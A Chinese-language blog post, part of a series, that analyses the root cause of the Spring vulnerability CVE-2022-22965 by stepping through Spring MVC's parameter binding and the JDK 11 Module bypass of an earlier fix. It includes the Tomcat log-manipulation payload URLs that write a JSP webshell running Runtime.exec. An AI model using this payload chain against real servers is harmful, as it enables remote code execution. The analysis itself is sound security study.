1. 程式人生 > 其它 >淺談CVE-2022-22965漏洞成因(六)

淺談CVE-2022-22965漏洞成因(六)

前言:記錄一篇自己入門java安全的故事,捋一下思路,輕量知識 ,重在除錯 !

.

這篇文章四個部分:

引入篇:整理一下CVE-2022-22965漏洞的來龍去脈

基礎篇:回顧Java中一些基礎的內容

除錯篇:閱讀Spring MVC部分原始碼

分析篇:分析CVE-2010-1622、CVE-2022-22965的漏洞成因

.

( 緊接" 淺談CVE-2022-22965漏洞成因(四)”,復現並分析一下CVE-2022-22965漏洞成因 )

這裡我們僅需要了解一個思路,CVE-2022-22965中的攻擊手法與這個相同,其payload如下:

//修改寫入檔案所在的根目錄
http://127.0.0.1:8080/FirstStruts2/login?class.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

//修改寫入檔案的名稱
http://127.0.0.1:8080/FirstStruts2/login?class.classLoader.resources.context.parent.pipeline.first.prefix=shell

//修改寫入檔案的字尾名
http://127.0.0.1:8080/FirstStruts2/login?
class.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

//修改檔案日期格式,用於切換目錄
http://127.0.0.1:8080/FirstStruts2/login?
class.classLoader.resources.context.parent.pipeline.first.fileDateFormat=2

//訪問shell.jsp將會記錄日誌
http://127.0.0.1:8080/FirstStruts2/shell.jsp?=<%Runtime.getRuntime().exec("calc");%>

看完前面的除錯過程,再看這個payload基本上沒什麼問題,不再過多敘述。

.

帶Spring MVC專案的專案部署到Tomcat中(或者Spring Boot可執行jar,內建web伺服器),多加個module改下Payload,就能寫入個日誌檔案,且是jsp格式的。

簡單的改一下,用下面的Payload,訪問(無攻擊效果),看看Spring MVC版本5中是如何對請求傳參作遞迴解析、獲取PropertyDescriptor以及在這個過程中怎麼繞過了CVE-2010-1622中Spring官方的修復

http://localhost:8090/SpringMVC5/level/info?class.module.classLoader.URLs[1]=jar:http://localhost:9999/test.jar!/

從DataBinder開始

DataBinder呼叫AbstractPropertyAccessor的setPropertyValues方法遍歷每一個引數並開始對每一個引數進行解析,我們只傳了了一個需要遞迴解析的請求引數,所以,在setPropertyValues裡只會進行一輪迭代

AbstractPropertyAccessor呼叫AbstractNestablePropertyAccessor的setPropertyValue方法,在這個方法中,有解析形如"var1.var2.var3.var4.var5"這種形式的請求引數

解析class的過程如下:

解析module的過程如下:

解析classLoader的過程如下:

對class.module.classLoader.URLs[]賦值的過程如下:

第一個引數解析完畢!

重點就是這裡,本來的攔截規則是當內省的bean是class且獲取到的PropertyDescriptor是classLoader時,CachedIntrospectionResults是不能快取classLoader這個PropertyDescriptor的,但是jdk11中多了個Module的特性,當內省的bean是Module時,CachedIntrospectionResults就能快取classLoader這個PropertyDescriptor了。

.

.

寫在最後:

4月份時就分析了這個漏洞,但由於各種原因,拖到現在才總結出來,中間有許多有趣的東西都遺忘了,再加上臨近期末,各種事情湊團,有很多細節的東西都沒補充全。

再有就是本文重在通過除錯分析整個程式碼執行的過程,不過多追求如何攻擊,payload利用需要根據Spring部署的環境視情況而定,找到可利用鏈。(PS:自己也不是很懂)

.

推薦閱讀:

光閃師傅寫的《深入理解Spring MVC原始碼》

P牛師傅寫的Java安全漫談

yiran4827師傅的Struts2 S2-020在Tomcat 8下的命令執行分析

https://cloud.tencent.com/developer/article/1035297

Ruilin師傅的SpringMVC框架任意程式碼執行漏洞

http://rui0.cn/archives/1158

麥兜師傅的Spring 遠端命令執行漏洞分析

https://paper.seebug.org/1877/